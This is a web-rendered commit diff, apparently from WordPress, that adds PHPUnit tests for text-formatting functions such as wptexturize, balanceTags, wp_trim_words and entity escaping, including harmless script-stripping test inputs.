+               global $allowedentitynames;
+
+               // Allowed entities should be unchanged
+               foreach ( $allowedentitynames as $ent ) {
+                       $ent = '&' . $ent . ';';
+                       $this->assertEquals( $ent, _wp_specialchars( $ent ) );
+               }
+       }
+
+       function test_not_allowed_entity_names() {
+               $ents = array( 'iacut', 'aposs', 'pos', 'apo', 'apo?', 'apo.*', '.*apo.*', 'apos ', ' apos', ' apos ' );
+
+               foreach ( $ents as $ent ) {
+                       $escaped = '&amp;' . $ent . ';';
+                       $ent = '&' . $ent . ';';
+                       $this->assertEquals( $escaped, _wp_specialchars( $ent ) );
+               }
+       }
+
+       function test_optionally_escapes_quotes() {
+               $source = "\"'hello!'\"";
+               $this->assertEquals( '"&#039;hello!&#039;"', _wp_specialchars($source, 'single') );
+               $this->assertEquals( "&quot;'hello!'&quot;", _wp_specialchars($source, 'double') );
+               $this->assertEquals( '&quot;&#039;hello!&#039;&quot;', _wp_specialchars($source, true) );
+               $this->assertEquals( $source, _wp_specialchars($source) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingWPTexturizephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/WPTexturize.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/WPTexturize.php                             (rev 0)
+++ trunk/tests/tests/formatting/WPTexturize.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,197 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPTexturize extends WP_UnitTestCase {
+       function test_dashes() {
+               $this->assertEquals('Hey &#8212; boo?', wptexturize('Hey -- boo?'));
+               $this->assertEquals('<a href="http://xx--xx">Hey &#8212; boo?</a>', wptexturize('<a href="http://xx--xx">Hey -- boo?</a>'));
+       }
+
+       function test_disable() {
+               $this->assertEquals('<pre>---</pre>', wptexturize('<pre>---</pre>'));
+               $this->assertEquals('[a]a&#8211;b[code]---[/code]a&#8211;b[/a]', wptexturize('[a]a--b[code]---[/code]a--b[/a]'));
+               $this->assertEquals('<pre><code></code>--</pre>', wptexturize('<pre><code></code>--</pre>'));
+
+               $this->assertEquals('<code>---</code>', wptexturize('<code>---</code>'));
+
+               $this->assertEquals('<code>href="baba"</code> &#8220;baba&#8221;', wptexturize('<code>href="baba"</code> "baba"'));
+
+               $enabled_tags_inside_code = '<code>curl -s <a href="http://x/">baba</a> | grep sfive | cut -d "\"" -f 10 &gt; topmp3.txt</code>';
+               $this->assertEquals($enabled_tags_inside_code, wptexturize($enabled_tags_inside_code));
+
+               $double_nest = '<pre>"baba"<code>"baba"<pre></pre></code>"baba"</pre>';
+               $this->assertEquals($double_nest, wptexturize($double_nest));
+
+               $invalid_nest = '<pre></code>"baba"</pre>';
+               $this->assertEquals($invalid_nest, wptexturize($invalid_nest));
+
+       }
+
+       //WP Ticket #1418
+       function test_bracketed_quotes_1418() {
+               $this->assertEquals('(&#8220;test&#8221;)', wptexturize('("test")'));
+               $this->assertEquals('(&#8216;test&#8217;)', wptexturize("('test')"));
+               $this->assertEquals('(&#8217;twas)', wptexturize("('twas)"));
+       }
+
+       //WP Ticket #3810
+       function test_bracketed_quotes_3810() {
+               $this->assertEquals('A dog (&#8220;Hubertus&#8221;) was sent out.', wptexturize('A dog ("Hubertus") was sent out.'));
+       }
+
+       //WP Ticket #4539
+       function test_basic_quotes() {
+               $this->assertEquals('test&#8217;s', wptexturize('test\'s'));
+               $this->assertEquals('test&#8217;s', wptexturize('test\'s'));
+
+               $this->assertEquals('&#8216;quoted&#8217;', wptexturize('\'quoted\''));
+               $this->assertEquals('&#8220;quoted&#8221;', wptexturize('"quoted"'));
+
+               $this->assertEquals('space before &#8216;quoted&#8217; space after', wptexturize('space before \'quoted\' space after'));
+               $this->assertEquals('space before &#8220;quoted&#8221; space after', wptexturize('space before "quoted" space after'));
+
+               $this->assertEquals('(&#8216;quoted&#8217;)', wptexturize('(\'quoted\')'));
+               $this->assertEquals('{&#8220;quoted&#8221;}', wptexturize('{"quoted"}'));
+
+               $this->assertEquals('&#8216;qu(ot)ed&#8217;', wptexturize('\'qu(ot)ed\''));
+               $this->assertEquals('&#8220;qu{ot}ed&#8221;', wptexturize('"qu{ot}ed"'));
+
+               $this->assertEquals(' &#8216;test&#8217;s quoted&#8217; ', wptexturize(' \'test\'s quoted\' '));
+               $this->assertEquals(' &#8220;test&#8217;s quoted&#8221; ', wptexturize(' "test\'s quoted" '));
+       }
+
+       /**
+        * @ticket 4539
+        * @ticket 15241
+        */
+       function test_full_sentences_with_unmatched_single_quotes() {
+               $this->assertEquals(
+                       'That means every moment you&#8217;re working on something without it being in the public it&#8217;s actually dying.',
+                       wptexturize("That means every moment you're working on something without it being in the public it's actually dying.")
+               );
+       }
+
+       /**
+        * @ticket 4539
+        */
+       function test_quotes() {
+               $this->assertEquals('&#8220;Quoted String&#8221;', wptexturize('"Quoted String"'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link and a period</a>&#8221;.', wptexturize('Here is "<a href="http://example.com">a test with a link and a period</a>".'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221; and a space.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>" and a space.'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a> and some text quoted&#8221;', wptexturize('Here is "<a href="http://example.com">a test with a link</a> and some text quoted"'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;, and a comma.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>", and a comma.'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;; and a semi-colon.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"; and a semi-colon.'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;- and a dash.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"- and a dash.'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;&#8230; and ellipses.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"... and ellipses.'));
+               $this->assertEquals('Here is &#8220;a test <a href="http://example.com">with a link</a>&#8221;.', wptexturize('Here is "a test <a href="http://example.com">with a link</a>".'));
+               $this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;and a work stuck to the end.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"and a work stuck to the end.'));
+               $this->assertEquals('A test with a finishing number, &#8220;like 23&#8221;.', wptexturize('A test with a finishing number, "like 23".'));
+               $this->assertEquals('A test with a number, &#8220;like 62&#8221;, is nice to have.', wptexturize('A test with a number, "like 62", is nice to have.'));
+       }
+
+       /**
+        * @ticket 4539
+        */
+       function test_quotes_before_s() {
+               $this->assertEquals('test&#8217;s', wptexturize("test's"));
+               $this->assertEquals('&#8216;test&#8217;s', wptexturize("'test's"));
+               $this->assertEquals('&#8216;test&#8217;s&#8217;', wptexturize("'test's'"));
+               $this->assertEquals('&#8216;string&#8217;', wptexturize("'string'"));
+               $this->assertEquals('&#8216;string&#8217;s&#8217;', wptexturize("'string's'"));
+       }
+
+       /**
+        * @ticket 4539
+        */
+       function test_quotes_before_numbers() {
+               $this->assertEquals('Class of &#8217;99', wptexturize("Class of '99"));
+               $this->assertEquals('Class of &#8217;99&#8217;s', wptexturize("Class of '99's"));
+               $this->assertEquals('&#8216;Class of &#8217;99&#8217;', wptexturize("'Class of '99'"));
+               $this->assertEquals('&#8216;Class of &#8217;99&#8217;s&#8217;', wptexturize("'Class of '99's'"));
+               $this->assertEquals('&#8216;Class of &#8217;99&#8217;s&#8217;', wptexturize("'Class of '99&#8217;s'"));
+               $this->assertEquals('&#8220;Class of 99&#8221;', wptexturize("\"Class of 99\""));
+               $this->assertEquals('&#8220;Class of &#8217;99&#8221;', wptexturize("\"Class of '99\""));
+       }
+
+       function test_quotes_after_numbers() {
+               $this->assertEquals('Class of &#8217;99', wptexturize("Class of '99"));
+       }
+
+       /**
+        * @ticket 4539
+        * @ticket 15241
+        */
+       function test_other_html() {
+               $this->assertEquals('&#8216;<strong>', wptexturize("'<strong>"));
+               $this->assertEquals('&#8216;<strong>Quoted Text</strong>&#8217;,', wptexturize("'<strong>Quoted Text</strong>',"));
+               $this->assertEquals('&#8220;<strong>Quoted Text</strong>&#8221;,', wptexturize('"<strong>Quoted Text</strong>",'));
+       }
+
+       function test_x() {
+               $this->assertEquals('14&#215;24', wptexturize("14x24"));
+       }
+
+       function test_minutes_seconds() {
+               $this->assertEquals('9&#8242;', wptexturize('9\''));
+               $this->assertEquals('9&#8243;', wptexturize("9\""));
+
+               $this->assertEquals('a 9&#8242; b', wptexturize('a 9\' b'));
+               $this->assertEquals('a 9&#8243; b', wptexturize("a 9\" b"));
+
+               $this->assertEquals('&#8220;a 9&#8242; b&#8221;', wptexturize('"a 9\' b"'));
+               $this->assertEquals('&#8216;a 9&#8243; b&#8217;', wptexturize("'a 9\" b'"));
+       }
+
+       /**
+        * @ticket 8775
+        */
+       function test_wptexturize_quotes_around_numbers() {
+               $this->assertEquals('&#8220;12345&#8221;', wptexturize('"12345"'));
+               $this->assertEquals('&#8216;12345&#8217;', wptexturize('\'12345\''));
+               $this->assertEquals('&#8220;a 9&#8242; plus a &#8216;9&#8217;, maybe a 9&#8242; &#8216;9&#8217; &#8221;', wptexturize('"a 9\' plus a \'9\', maybe a 9\' \'9\' "'));
+               $this->assertEquals('<p>&#8216;99<br />&#8216;123&#8217;<br />&#8217;tis<br />&#8216;s&#8217;</p>', wptexturize('<p>\'99<br />\'123\'<br />\'tis<br />\'s\'</p>'));
+       }
+
+       /**
+        * @ticket 8912
+        */
+       function test_wptexturize_html_comments() {
+               $this->assertEquals('<!--[if !IE]>--><!--<![endif]-->', wptexturize('<!--[if !IE]>--><!--<![endif]-->'));
+               $this->assertEquals('<!--[if !IE]>"a 9\' plus a \'9\', maybe a 9\' \'9\' "<![endif]-->', wptexturize('<!--[if !IE]>"a 9\' plus a \'9\', maybe a 9\' \'9\' "<![endif]-->'));
+               $this->assertEquals('<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>', wptexturize('<ul><li>Hello.</li><!--<li>Goodbye.</li>--></ul>'));
+       }
+
+       /**
+        * @ticket 4539
+        * @ticket 15241
+        */
+       function test_entity_quote_cuddling() {
+               $this->assertEquals('&nbsp;&#8220;Testing&#8221;', wptexturize('&nbsp;"Testing"'));
+               $this->assertEquals('&#38;&#8220;Testing&#8221;', wptexturize('&#38;"Testing"'));
+       }
+
+       /**
+        * @ticket 22823
+        */
+       function test_apostrophes_before_primes() {
+               $this->assertEquals( 'WordPress 3.5&#8217;s release date', wptexturize( "WordPress 3.5's release date" ) );
+       }
+
+       /**
+        * @ticket 23185
+        */
+       function test_spaces_around_hyphens() {
+               $this->assertEquals( ' &#8211; ', wptexturize( ' - ' ) ); 
+               $this->assertEquals( '&nbsp;&#8211;&nbsp;', wptexturize( '&nbsp;-&nbsp;' ) );
+               $this->assertEquals( ' &#8211;&nbsp;', wptexturize( ' -&nbsp;' ) );
+               $this->assertEquals( '&nbsp;&#8211; ', wptexturize( '&nbsp;- ') );
+
+               $this->assertEquals( ' &#8212; ', wptexturize( ' -- ' ) ); 
+               $this->assertEquals( '&nbsp;&#8212;&nbsp;', wptexturize( '&nbsp;--&nbsp;' ) );
+               $this->assertEquals( ' &#8212;&nbsp;', wptexturize( ' --&nbsp;' ) );
+               $this->assertEquals( '&nbsp;&#8212; ', wptexturize( '&nbsp;-- ') );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingWPTrimWordsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/WPTrimWords.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/WPTrimWords.php                             (rev 0)
+++ trunk/tests/tests/formatting/WPTrimWords.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,45 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPTrimWords extends WP_UnitTestCase {
+       private $long_text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius lacinia vehicula. Etiam sapien risus, ultricies ac posuere eu, convallis sit amet augue. Pellentesque urna massa, lacinia vel iaculis eget, bibendum in mauris. Aenean eleifend pulvinar ligula, a convallis eros gravida non. Suspendisse potenti. Pellentesque et odio tortor. In vulputate pellentesque libero, sed dapibus velit mollis viverra. Pellentesque id urna euismod dolor cursus sagittis.';
+
+       function test_trims_to_55_by_default() {
+               $trimmed = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius lacinia vehicula. Etiam sapien risus, ultricies ac posuere eu, convallis sit amet augue. Pellentesque urna massa, lacinia vel iaculis eget, bibendum in mauris. Aenean eleifend pulvinar ligula, a convallis eros gravida non. Suspendisse potenti. Pellentesque et odio tortor. In vulputate pellentesque libero, sed dapibus velit&hellip;';
+               $this->assertEquals( $trimmed, wp_trim_words( $this->long_text ) );
+       }
+
+       function test_trims_to_10() {
+               $trimmed = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius&hellip;';
+               $this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 10 ) );
+       }
+
+       function test_trims_to_5_and_uses_custom_more() {
+               $trimmed = 'Lorem ipsum dolor sit amet,[...] Read on!';
+               $this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 5, '[...] Read on!' ) );
+       }
+
+       function test_strips_tags_before_trimming() {
+               $text = 'This text contains a <a href="http://wordpress.org"> link </a> to WordPress.org!';
+               $trimmed = 'This text contains a link&hellip;';
+               $this->assertEquals( $trimmed, wp_trim_words( $text, 5 ) );
+       }
+
+       // #18726
+       function test_strips_script_and_style_content() {
+               $trimmed = 'This text contains. It should go.';
+
+               $text = 'This text contains<script>alert(" Javascript");</script>. It should go.';
+               $this->assertEquals( $trimmed, wp_trim_words( $text ) );
+
+               $text = 'This text contains<style>#css { width:expression(alert("css")) }</style>. It should go.';
+               $this->assertEquals( $trimmed, wp_trim_words( $text ) );
+       }
+
+       function test_doesnt_trim_short_text() {
+               $text = 'This is some short text.';
+               $this->assertEquals( $text, wp_trim_words( $text ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingWpHtmlEditPrephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/WpHtmlEditPre.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/WpHtmlEditPre.php                           (rev 0)
+++ trunk/tests/tests/formatting/WpHtmlEditPre.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpHtmlEditPre extends WP_UnitTestCase {
+
+       function _charset_iso_8859_1() {
+               return 'iso-8859-1';
+       }
+
+       /*
+        * Only fails in PHP 5.4 onwards
+        * @ticket 23688
+        */
+       function test_wp_htmledit_pre_charset_iso_8859_1() {
+               add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+               $iso8859_1 = 'Fran' .chr(135) .'ais';
+               $this->assertEquals( $iso8859_1, wp_htmledit_pre( $iso8859_1 ) );
+               remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+       }
+
+       function _charset_utf_8() {
+               return 'UTF-8';
+       }
+
+       /*
+        * @ticket 23688
+        */
+       function test_wp_htmledit_pre_charset_utf_8() {
+               add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+               $utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+               $this->assertEquals( $utf8, wp_htmledit_pre( $utf8 ) );
+               remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingWpRichEditPrephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/WpRichEditPre.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/WpRichEditPre.php                           (rev 0)
+++ trunk/tests/tests/formatting/WpRichEditPre.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WpRichEditPre extends WP_UnitTestCase {
+
+       function _charset_iso_8859_1() {
+               return 'iso-8859-1';
+       }
+
+       /*
+        * Only fails in PHP 5.4 onwards
+        * @ticket 23688
+        */
+       function test_wp_richedit_pre_charset_iso_8859_1() {
+               add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+               $iso8859_1 = 'Fran' .chr(135) .'ais';
+               $this->assertEquals( '&lt;p&gt;' . $iso8859_1 . "&lt;/p&gt;\n", wp_richedit_pre( $iso8859_1 ) );
+               remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+       }
+
+       function _charset_utf_8() {
+               return 'UTF-8';
+       }
+
+       /*
+        * @ticket 23688
+        */
+       function test_wp_richedit_pre_charset_utf_8() {
+               add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+               $utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+               $this->assertEquals( '&lt;p&gt;' . $utf8 . "&lt;/p&gt;\n", wp_richedit_pre( $utf8 ) );
+               remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingZeroisephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/Zeroise.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/Zeroise.php                         (rev 0)
+++ trunk/tests/tests/formatting/Zeroise.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,14 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Zeroise extends WP_UnitTestCase {
+       function test_pads_with_leading_zeroes() {
+               $this->assertEquals("00005", zeroise(5, 5));
+       }
+
+       function test_does_nothing_if_input_is_already_longer() {
+               $this->assertEquals("5000000", zeroise(5000000, 2));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingbalanceTagsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/balanceTags.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/balanceTags.php                             (rev 0)
+++ trunk/tests/tests/formatting/balanceTags.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,234 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_BalanceTags extends WP_UnitTestCase {
+
+       function nestable_tags() {
+               return array(
+                       array( 'blockquote', 'div', 'object', 'q', 'span' )
+               );
+       }
+
+       // This is a complete(?) listing of valid single/self-closing tags.
+       function single_tags() {
+               return array(
+                       array( 'area' ), array( 'base' ), array( 'basefont' ), array( 'br' ), array( 'col' ), array( 'command' ),
+                       array( 'embed' ), array( 'frame' ), array( 'hr' ), array( 'img' ), array( 'input' ), array( 'isindex' ),
+                       array( 'link' ), array( 'meta' ), array( 'param' ), array( 'source' ),
+               );
+       }
+
+       // These are single/self-closing tags that WP has traditionally recognized.
+       function basic_single_tags() {
+               return array(
+                       array( 'br' ), array( 'hr' ), array( 'img' ), array( 'input' )
+               );
+       }
+
+       /**
+        * These are single tags WP has traditionally properly handled
+        * This test can be removed if #1597 is fixed and the next test passes, as
+        * it supercedes this test.
+        *
+        * @dataProvider basic_single_tags
+        */
+       function test_selfcloses_unclosed_basic_known_single_tags( $tag ) {
+               $this->assertEquals( "<$tag />", balanceTags( "<$tag>", true ) );
+       }
+
+       /**
+        * If a recognized valid single tag appears unclosed, it should get self-closed
+        *
+        * @ticket 1597
+        * @dataProvider single_tags
+        */
+       function test_selfcloses_unclosed_known_single_tags( $tag ) {
+               $this->assertEquals( "<$tag />", balanceTags( "<$tag>", true ) );
+       }
+
+       /**
+        * These are single tags WP has traditionally properly handled
+        * This test can be removed if #1597 is fixed and the next test passes, as
+        * it supercedes this test.
+        *
+        * @dataProvider basic_single_tags
+        */
+       function test_selfcloses_basic_known_single_tags_having_closing_tag( $tag ) {
+               $this->assertEquals( "<$tag />", balanceTags( "<$tag></$tag>", true ) );
+       }
+
+       /**
+        * If a recognized valid single tag is given a closing tag, the closing tag
+        *   should get removed and tag should be self-closed.
+        *
+        * @ticket 1597
+        * @dataProvider single_tags
+        */
+       function test_selfcloses_known_single_tags_having_closing_tag( $tag ) {
+               $this->assertEquals( "<$tag />", balanceTags( "<$tag></$tag>", true ) );
+       }
+
+       /**
+        * @ticket 1597
+        */
+       function test_closes_unknown_single_tags_with_closing_tag() {
+
+               $inputs = array(
+                       '<strong/>',
+                       '<em />',
+                       '<p class="main1"/>',
+                       '<p class="main2" />',
+               );
+               $expected = array(
+                       '<strong></strong>',
+                       '<em></em>',
+                       '<p class="main1"></p>',
+                       '<p class="main2"></p>',
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       function test_closes_unclosed_single_tags_having_attributes() {
+               $inputs = array(
+                       '<img src="/images/example.png">',
+                       '<input type="text" name="example">'
+               );
+               $expected = array(
+                       '<img src="/images/example.png"/>',
+                       '<input type="text" name="example"/>'
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       function test_allows_validly_closed_single_tags() {
+               $inputs = array(
+                       '<br />',
+                       '<hr />',
+                       '<img src="/images/example.png" />',
+                       '<input type="text" name="example" />'
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       function test_balances_nestable_tags() {
+               $inputs = array(
+                       '<q>Test<q>Test</q>',
+                       '<div><div>Test',
+                       '<div>Test</div></div>',
+               );
+               $expected = array(
+                       '<q>Test<q>Test</q></q>',
+                       '<div><div>Test</div></div>',
+                       '<div>Test</div>',
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       function test_allows_adjacent_nestable_tags() {
+               $inputs = array(
+                       '<blockquote><blockquote>Example quote</blockquote></blockquote>',
+                       '<div class="container"><div>This is allowed></div></div>',
+                       '<span><span><span>Example in spans</span></span></span>',
+                       '<blockquote>Main quote<blockquote>Example quote</blockquote> more text</blockquote>',
+                       '<q><q class="inner-q">Inline quote</q></q>',
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       /**
+        * @ticket 20401
+        */
+       function test_allows_immediately_nested_object_tags() {
+
+               $object = '<object id="obj1"><param name="param1"/><object id="obj2"><param name="param2"/></object></object>';
+               $this->assertEquals( $object, balanceTags( $object, true ) );
+       }
+
+       function test_balances_nested_non_nestable_tags() {
+               $inputs = array(
+                       '<b><b>This is bold</b></b>',
+                       '<b>Some text here <b>This is bold</b></b>',
+               );
+               $expected = array(
+                       '<b></b><b>This is bold</b>',
+                       '<b>Some text here </b><b>This is bold</b>',
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       function test_fixes_improper_closing_tag_sequence() {
+               $inputs = array(
+                       '<p>Here is a <strong class="part">bold <em>and emphasis</p></em></strong>',
+                       '<ul><li>Aaa</li><li>Bbb</ul></li>',
+               );
+               $expected = array(
+                       '<p>Here is a <strong class="part">bold <em>and emphasis</em></strong></p>',
+                       '<ul><li>Aaa</li><li>Bbb</li></ul>',
+               );
+
+               foreach ($inputs as $key => $input) {
+                       $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       function test_adds_missing_closing_tags() {
+               $inputs = array(
+                       '<b><i>Test</b>',
+                       '<p>Test',
+                       '<p>Test test</em> test</p>',
+                       '</p>Test',
+                       '<p>Here is a <strong class="part">Test</p>',
+               );
+               $expected = array(
+                       '<b><i>Test</i></b>',
+                       '<p>Test</p>',
+                       '<p>Test test test</p>',
+                       'Test',
+                       '<p>Here is a <strong class="part">Test</strong></p>',
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+       function test_removes_extraneous_closing_tags() {
+               $inputs = array(
+                       '<b>Test</b></b>',
+                       '<div>Test</div></div><div>Test',
+                       '<p>Test test</em> test</p>',
+                       '</p>Test',
+               );
+               $expected = array(
+                       '<b>Test</b>',
+                       '<div>Test</div><div>Test</div>',
+                       '<p>Test test test</p>',
+                       'Test',
+               );
+
+               foreach ( $inputs as $key => $input ) {
+                       $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+               }
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingdatephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/date.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/date.php                            (rev 0)
+++ trunk/tests/tests/formatting/date.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,50 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ * @group datetime
+ */
+class Tests_Formatting_Date extends WP_UnitTestCase {
+
+       /**
+        * Unpatched, this test passes only when Europe/London is not observing DST.
+        *
+        * @ticket 20328
+        */
+       function test_get_date_from_gmt_outside_of_dst() {
+               update_option( 'timezone_string', 'Europe/London' );
+               $gmt = $local = '2012-01-01 12:34:56';
+               $this->assertEquals( $local, get_date_from_gmt( $gmt ) );
+       }
+
+       /**
+        * Unpatched, this test passes only when Europe/London is observing DST.
+        *
+        * @ticket 20328
+        */
+       function test_get_date_from_gmt_during_dst() {
+               update_option( 'timezone_string', 'Europe/London' );
+               $gmt   = '2012-06-01 12:34:56';
+               $local = '2012-06-01 13:34:56';
+               $this->assertEquals( $local, get_date_from_gmt( $gmt ) );
+       }
+
+       /**
+        * @ticket 20328
+        */
+       function test_get_gmt_from_date_outside_of_dst() {
+               update_option( 'timezone_string', 'Europe/London' );
+               $local = $gmt = '2012-01-01 12:34:56';
+               $this->assertEquals( $gmt, get_gmt_from_date( $local ) );
+       }
+
+       /**
+        * @ticket 20328
+        */
+       function test_get_gmt_from_date_during_dst() {
+               update_option( 'timezone_string', 'Europe/London' );
+               $local = '2012-06-01 12:34:56';
+               $gmt = '2012-06-01 11:34:56';
+               $this->assertEquals( $gmt, get_gmt_from_date( $local ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingent2ncrphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/ent2ncr.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/ent2ncr.php                         (rev 0)
+++ trunk/tests/tests/formatting/ent2ncr.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Ent2NCR extends WP_UnitTestCase {
+       /**
+        * @dataProvider entities
+        */
+       function test_converts_named_entities_to_numeric_character_references( $entity, $ncr ) {
+               $entity = '&' . $entity . ';';
+               $ncr = '&#' . $ncr . ';';
+               $this->assertEquals( $ncr, ent2ncr( $entity ), $entity );
+       }
+
+       /**
+        Get test data from files, one test per line.
+        Comments start with "###".
+       */
+       function entities() {
+               $entities = file( DIR_TESTDATA . '/formatting/entities.txt' );
+               $data_provided = array();
+               foreach ( $entities as $line ) {
+                       // comment
+                       $commentpos = strpos( $line, "###" );
+                       if ( false !== $commentpos ) {
+                               $line = trim( substr( $line, 0, $commentpos ) );
+                               if ( ! $line )
+                                       continue;
+                       }
+                       $data_provided[] = array_map( 'trim', explode( '|', $line ) );
+               }
+               return $data_provided;
+       }
+}
+
</ins></span></pre></div>
<a id="trunkteststestsformattingisoDescramblerphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/isoDescrambler.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/isoDescrambler.php                          (rev 0)
+++ trunk/tests/tests/formatting/isoDescrambler.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,14 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Test_WP_ISO_Descrambler extends WP_UnitTestCase {
+       /*
+        * Decodes text in RFC2047 "Q"-encoding, e.g.
+        * =?iso-8859-1?q?this=20is=20some=20text?=
+       */
+    function test_decodes_iso_8859_1_rfc2047_q_encoding() {
+        $this->assertEquals("this is some text", wp_iso_descrambler("=?iso-8859-1?q?this=20is=20some=20text?="));
+    }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingredirectphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/redirect.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/redirect.php                                (rev 0)
+++ trunk/tests/tests/formatting/redirect.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,17 @@
</span><ins>+<?php
+
+/**
+ * @group pluggable
+ * @group formatting
+ */
